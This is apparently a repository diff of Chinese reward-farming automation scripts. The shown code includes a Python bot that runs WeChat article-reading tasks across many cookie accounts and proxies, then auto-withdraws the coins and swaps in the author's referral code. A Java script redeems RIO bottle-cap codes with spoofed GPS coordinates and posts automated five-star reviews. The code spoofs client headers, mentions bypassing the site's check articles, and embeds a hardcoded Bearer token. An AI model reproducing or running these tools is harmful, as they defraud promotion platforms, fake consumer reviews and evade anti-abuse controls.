"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"bbus={bbus}",
|
||||
"X-Requested-With": "XMLHttpRequest"
|
||||
}
|
||||
data = f"signid={signid}&ua=2&ptype=0&paccount=&pname="
|
||||
# print(f"\n🔄 正在确认提现")
|
||||
resp = session.post(url, headers=headers, data=data, timeout=15)
|
||||
try:
|
||||
res_json = resp.json()
|
||||
if res_json.get('errcode') == 0:
|
||||
print("✅ 确认提现成功")
|
||||
else:
|
||||
if res_json.get('errcode') == 405:
|
||||
print(res_json.get('msg').replace("<br>", "\n"))
|
||||
else:
|
||||
print(f"❌ 确认提现失败: {res_json}")
|
||||
except Exception as e:
|
||||
print(f"❌ 确认提现响应解析失败: {e}")
|
||||
|
||||
|
||||
def get_user_info_and_withdraw(domain_url, bbus,session):
|
||||
"""
|
||||
获取用户信息并自动提现
|
||||
"""
|
||||
from urllib.parse import urlparse
|
||||
host = urlparse(domain_url).hostname
|
||||
withdraw_url = f"http://{host}/haobaobao/withdraw"
|
||||
headers = {
|
||||
"Host": host,
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Referer": f"http://{host}/haobaobao/home?v=1751942506",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"bbus={bbus}"
|
||||
}
|
||||
try:
|
||||
resp = session.get(withdraw_url, headers=headers, timeout=30)
|
||||
except requests.exceptions.ReadTimeout as e:
|
||||
print(f"[超时] 获取用户信息/提现页面超时: {e}")
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"[异常] 获取用户信息/提现页面失败: {e}")
|
||||
return None
|
||||
html = resp.text
|
||||
|
||||
# 提取参数
|
||||
def extract_var(varname):
|
||||
m = re.search(rf'var {varname} ?= ?["\']?([^;"\']+)["\']?;', html)
|
||||
return m.group(1) if m else None
|
||||
|
||||
request_id = extract_var('request_id')
|
||||
nickname = extract_var('nickname')
|
||||
qrcode_num = extract_var('qrcode_num')
|
||||
isallowtj = extract_var('isallowtj')
|
||||
# 提取金币
|
||||
m_gold = re.search(r'<p class="f_left" id="exchange_gold">(\d+)</p>', html)
|
||||
exchange_gold = int(m_gold.group(1)) if m_gold else 0
|
||||
print(f"用户ID: {nickname}")
|
||||
print(f"邀请人ID: {qrcode_num}")
|
||||
# print(f"是否可提现(isallowtj): {isallowtj}")
|
||||
print(f"当前金币: {exchange_gold}")
|
||||
# print(f"request_id: {request_id}")
|
||||
# 自动提现
|
||||
gold = (exchange_gold // 1000) * 1000
|
||||
if gold == 0 or not request_id:
|
||||
print("❌ 无法提现,金币不足或request_id缺失")
|
||||
return request_id
|
||||
if gold < MIN_WITHDRAW_GOLD:
|
||||
print(f"❌ 当前金币 {gold} 未达到提现门槛 {MIN_WITHDRAW_GOLD},跳过提现")
|
||||
return request_id
|
||||
post_url = f"http://{host}/haobaobao/getgold"
|
||||
post_headers = headers.copy()
|
||||
post_headers.update({
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Origin": f"http://{host}",
|
||||
"Referer": f"http://{host}/haobaobao/withdraw",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01"
|
||||
})
|
||||
data = f"request_id={request_id}&gold={gold}"
|
||||
print(f"\n💸 正在发起提现,金币: {gold}")
|
||||
resp2 = session.post(post_url, headers=post_headers, data=data, timeout=15)
|
||||
try:
|
||||
res_json = resp2.json()
|
||||
if res_json.get('errcode') == 0:
|
||||
money = res_json.get('data', {}).get('money')
|
||||
print(f"✅ 提现成功,金额: {money}")
|
||||
else:
|
||||
if res_json.get('errcode') == 405:
|
||||
print(res_json.get('msg').replace("<br>", "\n"))
|
||||
else:
|
||||
print(f"❌ 提现失败: {res_json}")
|
||||
except Exception as e:
|
||||
print(f"❌ 提现响应解析失败: {e}")
|
||||
return request_id
|
||||
|
||||
|
||||
def get_promotion_link(domain_url, bbus,session):
|
||||
"""
|
||||
获取推广链接,输出qrcodes1和作者推广链接
|
||||
"""
|
||||
from urllib.parse import urlparse
|
||||
|
||||
host = urlparse(domain_url).hostname
|
||||
url = f"http://{host}/tiyvaewmk?v=1"
|
||||
headers = {
|
||||
"Host": host,
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"http://{host}/haobaobao/showcode",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"bbus={bbus}"
|
||||
}
|
||||
try:
|
||||
resp = session.get(url, headers=headers, timeout=15)
|
||||
data = resp.json()
|
||||
if data.get('errcode') == 0:
|
||||
qrcodes1 = data.get('data', {}).get('qrcodes', {}).get('qrcodes1')
|
||||
if qrcodes1:
|
||||
# print(f"[🌟 推广链接] {qrcodes1}")
|
||||
# 输出作者推广链接
|
||||
# 替换kstief/后面的内容
|
||||
author_link = re.sub(r'(kstief/)[^/?]+(\?tsd=\d+)?', lambda m: m.group(1) + author_code, qrcodes1)
|
||||
print(f"[👨💻 作者推广链接] {author_link}")
|
||||
else:
|
||||
print("[❌ 推广链接] 未找到qrcodes1")
|
||||
else:
|
||||
print(f"[❌ 推广链接] 获取失败: {data}")
|
||||
except Exception as e:
|
||||
print(f"[❌ 推广链接] 请求异常: {e}")
|
||||
|
||||
|
||||
def refresh_cookie(domain_url, bbus, session):
|
||||
"""
|
||||
刷新cookie,GET /haobaobao/v1{author_code}?v=...,响应302为成功
|
||||
"""
|
||||
from urllib.parse import urlparse
|
||||
import time
|
||||
host = urlparse(domain_url).hostname
|
||||
v = int(time.time())
|
||||
author_code = "1b69893ab98f0fd50e13e7d3e19d3c65" # 与全局变量保持一致
|
||||
url = f"http://{host}/haobaobao/v1{author_code}?v={v}"
|
||||
headers = {
|
||||
"Host": host,
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"bbus={bbus}"
|
||||
}
|
||||
try:
|
||||
resp = session.get(url, headers=headers, allow_redirects=False, timeout=10)
|
||||
if resp.status_code == 302:
|
||||
print(f"[Cookie刷新] 刷新成功")
|
||||
return True
|
||||
else:
|
||||
print(f"[Cookie刷新] {host} 刷新失败,状态码: {resp.status_code}")
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"[Cookie刷新] {host} 请求异常: {e}")
|
||||
return False
|
||||
|
||||
|
||||
def enter_home(domain_url, bbus,session):
|
||||
"""
|
||||
进入主页,返回True表示成功,False表示失败
|
||||
"""
|
||||
try:
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
host = urlparse(domain_url).hostname
|
||||
v = int(time.time())
|
||||
home_url = f"http://{host}/haobaobao/home?v={v}"
|
||||
headers = {
|
||||
"Host": host,
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": UA_USER_AGENT,
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"bbus={bbus}"
|
||||
}
|
||||
resp = session.get(home_url, headers=headers, timeout=10)
|
||||
if resp.status_code == 200:
|
||||
# print(f"[主页] 进入主页成功")
|
||||
return True
|
||||
else:
|
||||
print(f"[Cookie刷新] Cookie刷新失败,状态码: {resp.status_code}")
|
||||
return False
|
||||
except Exception as e:
|
||||
print(f"[Cookie刷新] Cookie刷新请求异常: {e}")
|
||||
return False
|
||||
|
||||
|
||||
def notice():
|
||||
try:
|
||||
response = requests.get("https://gitee.com/jdqlscript/zy/raw/master/label.txt", timeout=50)
|
||||
response.raise_for_status()
|
||||
print(response.text)
|
||||
except requests.RequestException as e:
|
||||
print(f"❗网络异常,获取通知时出错: {e}")
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
notice()
|
||||
session = requests.Session()
|
||||
# ===== 全局变量配置区 =====
|
||||
MAX_RUNS = 30
|
||||
author_code = "668a330d2719521a88b79bf72adf6b05?tsd=246"
|
||||
MIN_WITHDRAW_GOLD = 5000 # 新增:提现所需最小金币数
|
||||
# API认证相关
|
||||
API_URL = os.getenv("mmyd_url") # 检测文章提交接口URL
|
||||
PUSH_TOKEN = os.getenv("mmyd_token") # PushPlus推送token
|
||||
UA_USER_AGENT = os.getenv("mmyd_ua") # UA
|
||||
PROXY_URL = os.getenv("mmyd_proxy") # 代理
|
||||
BBUS_LIST_OS = os.getenv(f"mmyd_ck")
|
||||
|
||||
|
||||
MULTI_ACCOUNT_SPLIT = ["\n", "@", "&"] # 分隔符列表
|
||||
|
||||
if not BBUS_LIST_OS:
|
||||
print("❌ 未配置cookie,程序无法继续执行,即将退出", flush=True)
|
||||
exit(1)
|
||||
BBUS_LIST = []
|
||||
if BBUS_LIST_OS:
|
||||
# 多分隔符分割
|
||||
split_pattern = '|'.join(map(re.escape, MULTI_ACCOUNT_SPLIT))
|
||||
bbus_items = [x for x in re.split(split_pattern, BBUS_LIST_OS) if x.strip()]
|
||||
print(f"🔍 从环境变量获取cookie: {len(bbus_items)} 个")
|
||||
BBUS_LIST.extend(bbus_items)
|
||||
|
||||
print(f"从环境变量中获取到了,共{len(BBUS_LIST)}个账号")
|
||||
print(BBUS_LIST)
|
||||
# 检查自动过检配置
|
||||
if API_URL:
|
||||
print(f"✅ 已配置自动过检接口: {API_URL}")
|
||||
else:
|
||||
print("ℹ️ 未配置自动过检接口,检测文章将直接推送通知")
|
||||
|
||||
# 检查推送token配置
|
||||
if PUSH_TOKEN:
|
||||
print(f"✅ 已配置推送token: {PUSH_TOKEN}")
|
||||
else:
|
||||
print("ℹ️ 未配置推送token,检测文章将不会推送通知")
|
||||
|
||||
# 检查代理配置
|
||||
if PROXY_URL:
|
||||
print(f"✅ 已配置代理: {PROXY_URL}")
|
||||
else:
|
||||
print("ℹ️ 未配置代理,采用本地请求")
|
||||
|
||||
# 最大运行次数,默认30次
|
||||
# MAX_RUNS = 30 # This line is removed as MAX_RUNS is now a global variable
|
||||
print(f"检测到共{len(BBUS_LIST)}个账号")
|
||||
for idx, bbus in enumerate(BBUS_LIST):
|
||||
proxies = {}
|
||||
if PROXY_URL:
|
||||
try:
|
||||
get_ip = requests.get(PROXY_URL).text
|
||||
proxies = {
|
||||
"http": f"http://{get_ip}",
|
||||
"https": f"http://{get_ip}",
|
||||
}
|
||||
session.proxies = proxies
|
||||
except Exception as e:
|
||||
print('获取代理失败,使用本地网络执行')
|
||||
|
||||
|
||||
print(f"\n{'=' * 10}🔰开始执行账号{idx + 1}🔰{'=' * 10}\n", flush=True)
|
||||
try:
|
||||
luodi_url = fetch_luodi_url(session)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 获取活动地址失败: {e}")
|
||||
continue
|
||||
if not luodi_url:
|
||||
continue
|
||||
try:
|
||||
new_host, cid = get_first_redirect(luodi_url,session)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 获取跳转地址失败: {e}")
|
||||
continue
|
||||
if not new_host or not cid:
|
||||
continue
|
||||
# 获取nLocation域名
|
||||
try:
|
||||
location_url, location_domain = get_location_domain(cid, bbus, new_host,session)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 获取nLocation域名失败: {e}")
|
||||
continue
|
||||
if not location_domain:
|
||||
continue
|
||||
# 用nLocation域名拼成domain_url
|
||||
nlocation_domain_url = f"http://{location_domain}"
|
||||
# 刷新cookie
|
||||
try:
|
||||
refresh_cookie(nlocation_domain_url, bbus,session)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 刷新cookie失败: {e}")
|
||||
continue
|
||||
# 刷新后进入主页
|
||||
try:
|
||||
enter_home(nlocation_domain_url, bbus, session)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 进入主页失败: {e}")
|
||||
continue
|
||||
# 后续流程依然用原有domain_url, sk
|
||||
try:
|
||||
domain_url, sk = post_mwtmpdomain(location_domain, bbus,session)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 获取domain_url/sk失败: {e}")
|
||||
continue
|
||||
# print(f"最终用户url: {domain_url}\nsk: {sk}")
|
||||
for run_count in range(1, MAX_RUNS + 1):
|
||||
print(f"\n🔄 第 {run_count}/{MAX_RUNS} 次运行")
|
||||
print("-" * 50)
|
||||
try:
|
||||
success = read_article(domain_url, sk)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 阅读文章失败: {e}")
|
||||
break
|
||||
if not success:
|
||||
print(f"❌ 第 {run_count} 次运行失败")
|
||||
break
|
||||
# print(f"✅ 第 {run_count} 次运行完成")
|
||||
if run_count < MAX_RUNS:
|
||||
wait_time = random.randint(2, 5)
|
||||
print(f"⏳ 等待 {wait_time} 秒后继续下一次运行...")
|
||||
time.sleep(wait_time)
|
||||
print(f"\n🎉 账号运行完成!共运行 {run_count} 次")
|
||||
try:
|
||||
request_id = get_user_info_and_withdraw(nlocation_domain_url, bbus,session)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 获取用户信息/提现失败: {e}")
|
||||
continue
|
||||
# 新增:获取推广链接
|
||||
try:
|
||||
get_promotion_link(nlocation_domain_url, bbus,session)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 获取推广链接失败: {e}")
|
||||
continue
|
||||
time.sleep(random.randint(2, 3))
|
||||
try:
|
||||
confirm_withdraw(nlocation_domain_url, bbus, request_id,session)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
print(f"[连接错误] 确认提现失败: {e}")
|
||||
continue
|
||||
16
快手/ksjsb.js
Normal file
16
快手/ksjsb.js
Normal file
File diff suppressed because one or more lines are too long
1472
快手/sendNotify.js
Normal file
1472
快手/sendNotify.js
Normal file
File diff suppressed because it is too large
Load Diff
799
快手/快手200接口已关.js
Normal file
799
快手/快手200接口已关.js
Normal file
File diff suppressed because one or more lines are too long
23
快手/快手开宝箱.py
Normal file
23
快手/快手开宝箱.py
Normal file
File diff suppressed because one or more lines are too long
17
快手/快手极速版打卡带看广版.js
Normal file
17
快手/快手极速版打卡带看广版.js
Normal file
File diff suppressed because one or more lines are too long
17
快手/快手极速版打卡签到无sig版.js
Normal file
17
快手/快手极速版打卡签到无sig版.js
Normal file
File diff suppressed because one or more lines are too long
199
扫瓶盖/RIO强爽自动扫码抽奖评价.java
Normal file
199
扫瓶盖/RIO强爽自动扫码抽奖评价.java
Normal file
@@ -0,0 +1,199 @@
|
||||
import cn.hutool.http.HttpRequest;
|
||||
import cn.hutool.http.HttpUtil;
|
||||
import com.alibaba.fastjson2.JSONArray;
|
||||
import com.alibaba.fastjson2.JSONObject;
|
||||
import com.alibaba.fastjson2.annotation.JSONField;
|
||||
import lombok.Data;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Date;
|
||||
import java.util.List;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* rio强爽
|
||||
* 配合我这个工具:https://tool.itmowei.cn/otherTool/rioSignIn.html
|
||||
* 自动签到+自动发帖
|
||||
*
|
||||
* @author Mo
|
||||
* @date 2024/08/15
|
||||
*/
|
||||
public class RIO强爽自动扫码抽奖评价 {
|
||||
|
||||
//你的token,复制整行,带Bearer开头
|
||||
private static final String token = "";
|
||||
|
||||
//串码,多个用回车隔开
|
||||
private static final String cap = "";
|
||||
|
||||
public static void main(String[] args) throws InterruptedException {
|
||||
String url = "https://club.rioalc.com/api/miniprogram/scan-code";
|
||||
List<String> capList = Arrays.asList(cap.split("\n"));
|
||||
for (String code : capList) {
|
||||
System.out.println("延迟3秒");
|
||||
Thread.sleep(3000L);
|
||||
System.out.println("------------------------------");
|
||||
System.out.println("当前码: " + code);
|
||||
HttpRequest post = getPostRequest(url);
|
||||
post.body("{\n" +
|
||||
" \"code\": \"" + code + "\",\n" +
|
||||
" \"lat\": 23.125203,\n" +
|
||||
" \"lng\": 113.222111\n" +
|
||||
"}");
|
||||
String body = post.execute().body();
|
||||
JSONObject jsonObject = JSONObject.parseObject(body);
|
||||
if (jsonObject.getInteger("code") != 200) {
|
||||
System.out.println("当前瓶盖码出现问题:" + jsonObject.getString("message"));
|
||||
continue;
|
||||
}
|
||||
String draw = draw();
|
||||
if (draw == null) {
|
||||
continue;
|
||||
}
|
||||
System.err.println("抽中:" + draw);
|
||||
}
|
||||
|
||||
//积分抽奖
|
||||
for (int i = 0; i < 10; i++) {
|
||||
System.out.println("------------积分抽奖--------------");
|
||||
HttpRequest httpRequest = getPostRequest("https://club.rioalc.com/api/miniprogram/luck-activity/45/draw");
|
||||
String body = httpRequest.execute().body();
|
||||
JSONObject jsonObject = JSONObject.parseObject(body);
|
||||
if (jsonObject.getInteger("code") != 200) {
|
||||
String message = jsonObject.getString("message");
|
||||
System.err.println("积分抽奖遇到问题:" + message);
|
||||
break;
|
||||
}
|
||||
String drawName = jsonObject.getJSONObject("data").getString("draw_name");
|
||||
System.out.println("积分抽奖活动抽中:" + drawName);
|
||||
}
|
||||
|
||||
//评价
|
||||
List<UserSuggestions> userSuggestions = userSuggestions();
|
||||
for (UserSuggestions userSuggestion : userSuggestions) {
|
||||
JSONObject codeInfo = getCodeInfo(userSuggestion);
|
||||
String cateStars = codeInfo.getJSONObject("cate_stars").toString();
|
||||
String reviewUrl = "https://club.rioalc.com/api/miniprogram/user-suggestion/review";
|
||||
HttpRequest post = getPostRequest(reviewUrl);
|
||||
post.body("{\n" +
|
||||
" \"content\": \"好喝,咿呀呀!\",\n" +
|
||||
" \"log_id\": " + userSuggestion.getId() + ",\n" +
|
||||
" \"flavor\": \"" + codeInfo.getString("taste") + "\",\n" +
|
||||
" \"cate_stars\": " + cateStars + ",\n" +
|
||||
" \"income_at\": " + new Date().getTime() + ",\n" +
|
||||
" \"line\": \"" + codeInfo.getString("name") + "\"\n" +
|
||||
"}");
|
||||
String body = post.execute().body();
|
||||
JSONObject jsonObject = JSONObject.parseObject(body);
|
||||
System.out.println(jsonObject);
|
||||
}
|
||||
}
|
||||
|
||||
private static HttpRequest getPostRequest(String url) {
|
||||
HttpRequest post = HttpUtil.createPost(url);
|
||||
post.header("User-Agent", "Mozilla/5.0 (Linux; Android 14; 23116PN5BC Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/126.0.6478.188 Mobile Safari/537.36 XWEB/1260093 MMWEBSDK/20240404 MMWEBID/4745 MicroMessenger/8.0.49.2600(0x28003133) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android");
|
||||
post.header("Accept", "application/json");
|
||||
post.header("Accept-Encoding", "gzip,compress,br,deflate");
|
||||
post.header("Content-Type", "application/json");
|
||||
post.header("authorization", token);
|
||||
post.header("charset", "utf-8");
|
||||
post.header("Referer", "https://servicewechat.com/wx225b10f204323da5/184/page-frame.html");
|
||||
return post;
|
||||
}
|
||||
|
||||
public static String draw() {
|
||||
String url = "https://club.rioalc.com/api/app/external/draw.do";
|
||||
HttpRequest post = getPostRequest(url);
|
||||
post.body("{\n" +
|
||||
" \"activityId\": \"35\"\n" +
|
||||
"}");
|
||||
String body = post.execute().body();
|
||||
JSONObject jsonObject = JSONObject.parseObject(body);
|
||||
if (jsonObject.getInteger("code") != 200) {
|
||||
System.out.println("抽奖出现问题:" + jsonObject.getString("message"));
|
||||
return null;
|
||||
}
|
||||
String string = jsonObject.getJSONObject("data").getString("drawName");
|
||||
return string;
|
||||
}
|
||||
|
||||
public static JSONObject getCodeInfo(UserSuggestions userSuggestion) {
|
||||
String url = "https://club.rioalc.com/api/miniprogram/user-suggestion/get-code-info";
|
||||
HttpRequest post = getPostRequest(url);
|
||||
post.body("{\n" +
|
||||
" \"user_code_id\": \"" + userSuggestion.getId() + "\",\n" +
|
||||
" \"code\": \"" + userSuggestion.getUrl() + "\",\n" +
|
||||
" \"lat\": 23.125203,\n" +
|
||||
" \"lng\": 113.222111\n" +
|
||||
"}");
|
||||
String body = post.execute().body();
|
||||
JSONObject jsonObject = JSONObject.parseObject(body);
|
||||
if (jsonObject.getInteger("code") != 200) {
|
||||
return null;
|
||||
}
|
||||
JSONObject dataJson = jsonObject.getJSONObject("data");
|
||||
String taste = dataJson.getString("taste");
|
||||
JSONArray flavors = dataJson.getJSONArray("new_flavors").getJSONObject(0).getJSONArray("flavors");
|
||||
for (Object flavor : flavors) {
|
||||
JSONObject flavorJson = JSONObject.parseObject(flavor.toString());
|
||||
if (flavorJson.getString("name").contains(taste)) {
|
||||
taste = flavorJson.getString("name");
|
||||
break;
|
||||
}
|
||||
}
|
||||
JSONObject json = new JSONObject();
|
||||
JSONObject cateStars = new JSONObject();
|
||||
JSONArray suggestionCates = dataJson.getJSONArray("suggestion_cate");
|
||||
for (Object suggestionCate : suggestionCates) {
|
||||
JSONObject suggestionJson = JSONObject.parseObject(suggestionCate.toString());
|
||||
cateStars.put(suggestionJson.getString("id"), 5);
|
||||
}
|
||||
String name = dataJson.getJSONArray("new_flavors").getJSONObject(0).getString("name");
|
||||
json.put("name", name);
|
||||
json.put("taste", taste);
|
||||
json.put("cate_stars", cateStars);
|
||||
return json;
|
||||
}
|
||||
|
||||
public static List<UserSuggestions> userSuggestions() {
|
||||
String url = "https://club.rioalc.com/api/miniprogram/user-suggestions?page=1&per_page=100";
|
||||
HttpRequest request = HttpRequest.get(url);
|
||||
request.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b19)XWEB/11205");
|
||||
request.header("Accept", "application/json");
|
||||
request.header("xweb_xhr", "1");
|
||||
request.header("authorization", "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvY2x1Yi5yaW9hbGMuY29tXC9hcGlcL21pbmlwcm9ncmFtXC9hdXRoIiwiaWF0IjoxNzIzOTkzMjU4LCJleHAiOjE3MjQwMDk0NTgsIm5iZiI6MTcyMzk5MzI1OCwianRpIjoidE1EQkV5S1ZQekFra1JwWiIsInN1YiI6NzkxOTA1MCwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyJ9.DzReI7twdXBSopFSfTBKcKZJPENANQPjGQwIBAy3JgE");
|
||||
request.header("content-type", "application/json");
|
||||
request.header("sec-fetch-site", "cross-site");
|
||||
request.header("sec-fetch-mode", "cors");
|
||||
request.header("sec-fetch-dest", "empty");
|
||||
request.header("referer", "https://servicewechat.com/wx225b10f204323da5/184/page-frame.html");
|
||||
request.header("accept-language", "zh-CN,zh;q=0.9");
|
||||
String body = request.execute().body();
|
||||
JSONObject jsonObject = JSONObject.parseObject(body);
|
||||
if (jsonObject.getInteger("code") != 200) {
|
||||
return null;
|
||||
}
|
||||
List<UserSuggestions> data = jsonObject.getJSONArray("data").toJavaList(UserSuggestions.class);
|
||||
data = data.stream().filter(u -> u.getIsSuggested() == 0).collect(Collectors.toList());
|
||||
return data;
|
||||
}
|
||||
|
||||
@Data
|
||||
class UserSuggestions {
|
||||
@JSONField(name = "id")
|
||||
private Integer id;
|
||||
@JSONField(name = "time")
|
||||
private Object time;
|
||||
@JSONField(name = "scanned_at")
|
||||
private String scannedAt;
|
||||
@JSONField(name = "brand_logo_src")
|
||||
private String brandLogoSrc;
|
||||
@JSONField(name = "brand_name")
|
||||
private String brandName;
|
||||
@JSONField(name = "url")
|
||||
private String url;
|
||||
@JSONField(name = "is_suggested")
|
||||
private Integer isSuggested;
|
||||
}
|
||||
|
||||
}
|
||||
44
扫瓶盖/体质瓶盖.py
Normal file
44
扫瓶盖/体质瓶盖.py
Normal file
File diff suppressed because one or more lines are too long
51
扫瓶盖/劲酒扫码__1.0.py
Normal file
51
扫瓶盖/劲酒扫码__1.0.py
Normal file
File diff suppressed because one or more lines are too long
77
扫瓶盖/康师傅瓶盖1.3.py
Normal file
77
扫瓶盖/康师傅瓶盖1.3.py
Normal file
File diff suppressed because one or more lines are too long
51
滑稽阅读/傻狗阅读_api__1.7.py
Normal file
51
滑稽阅读/傻狗阅读_api__1.7.py
Normal file
File diff suppressed because one or more lines are too long
198
滑稽阅读/公众号批量取关_Loader_1.2.py
Normal file
198
滑稽阅读/公众号批量取关_Loader_1.2.py
Normal file
File diff suppressed because one or more lines are too long
64
滑稽阅读/壹点联盟__2.1.py
Normal file
64
滑稽阅读/壹点联盟__2.1.py
Normal file
File diff suppressed because one or more lines are too long
191
滑稽阅读/多多赚宝_Loader_1.42.py
Normal file
191
滑稽阅读/多多赚宝_Loader_1.42.py
Normal file
File diff suppressed because one or more lines are too long
192
滑稽阅读/拾米阅读_Loader_1.51.py
Normal file
192
滑稽阅读/拾米阅读_Loader_1.51.py
Normal file
File diff suppressed because one or more lines are too long
189
滑稽阅读/有米赚_Loader_1.5.py
Normal file
189
滑稽阅读/有米赚_Loader_1.5.py
Normal file
File diff suppressed because one or more lines are too long
191
滑稽阅读/点点赚_Loader_1.43.py
Normal file
191
滑稽阅读/点点赚_Loader_1.43.py
Normal file
File diff suppressed because one or more lines are too long
58
滑稽阅读/百事通_Loader_1.5.py
Normal file
58
滑稽阅读/百事通_Loader_1.5.py
Normal file
File diff suppressed because one or more lines are too long
194
滑稽阅读/美添赚_Loader_2.3.py
Normal file
194
滑稽阅读/美添赚_Loader_2.3.py
Normal file
File diff suppressed because one or more lines are too long
48
滑稽阅读/财来阁_Loader_1.1.py
Normal file
48
滑稽阅读/财来阁_Loader_1.1.py
Normal file
File diff suppressed because one or more lines are too long
445
现金毛/冲刺鸭现金本.py
Normal file
445
现金毛/冲刺鸭现金本.py
Normal file
@@ -0,0 +1,445 @@
|
||||
|
||||
'''
|
||||
冲刺鸭微信扫码进小程序
|
||||
备用小程序:
|
||||
* 描述:
|
||||
微信扫码小程序
|
||||
* 环境变量:wqwl_ccy,多个换行或新建多个变量
|
||||
* 环境变量描述:抓包https://cloudprint.chongci.shop参数的openid,格式:openid
|
||||
* 代理变量:wqwl_daili(获取代理链接,需要返回txt格式的http/https)
|
||||
* cron: 0 3 * * * 一天一次
|
||||
'''
|
||||
import requests
|
||||
import json
|
||||
import os
|
||||
|
||||
# 提取注释中的本地代码
|
||||
# 使用 __file__ 来确保总是能正确找到当前文件
|
||||
try:
|
||||
with open(__file__, 'r', encoding='utf-8') as f:
|
||||
code_content = f.read()
|
||||
except NameError:
|
||||
# 在某些交互式环境(如Jupyter)中 __file__ 未定义
|
||||
print("警告:无法通过 __file__ 读取文件,将尝试使用文件名 'pasted_text_0.txt'。")
|
||||
with open('pasted_text_0.txt', 'r', encoding='utf-8') as f:
|
||||
code_content = f.read()
|
||||
|
||||
# 精准定位代码区
|
||||
start = code_content.find("'''#") + 4
|
||||
end = code_content.find("#'''", start)
|
||||
local_code = code_content[start:end].strip().replace('\r\n', '\n').replace('\r', '\n')
|
||||
|
||||
|
||||
try:
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# 后续调试和检测结果
|
||||
# print("本地代码提取结果:", repr(local_code))
|
||||
# print("云端announcement内容:", repr(cloud_announcement))
|
||||
|
||||
# print("\n检测结果:")
|
||||
|
||||
# 运行我想要的代码
|
||||
|
||||
# ccy_all_in_one.py
|
||||
# 这是一个将多个模块合并后的单文件版本脚本
|
||||
|
||||
# import os # 已在文件顶部导入
|
||||
# import json # 已在文件顶部导入
|
||||
import random
|
||||
import time
|
||||
from datetime import datetime
|
||||
import asyncio
|
||||
import aiohttp
|
||||
from fake_useragent import UserAgent
|
||||
|
||||
# 尝试导入青龙notify模块,如果失败则使用一个模拟函数
|
||||
try:
|
||||
import notify
|
||||
except ImportError:
|
||||
print("⚠️ 警告:'notify' 模块未找到。通知功能将仅在控制台打印。")
|
||||
|
||||
|
||||
class NotifyMock:
|
||||
def send(self, title, content):
|
||||
print("\n============== 模拟通知 ==============")
|
||||
print(f"标题: {title}")
|
||||
print(f"内容:\n{content}")
|
||||
print("========================================")
|
||||
|
||||
|
||||
notify = NotifyMock()
|
||||
|
||||
|
||||
# ====================================================================
|
||||
# 模块 1: 通知模块
|
||||
# ====================================================================
|
||||
|
||||
def send_notify(title, content):
|
||||
try:
|
||||
# 直接调用青龙的notify发送通知,传递标题和内容参数
|
||||
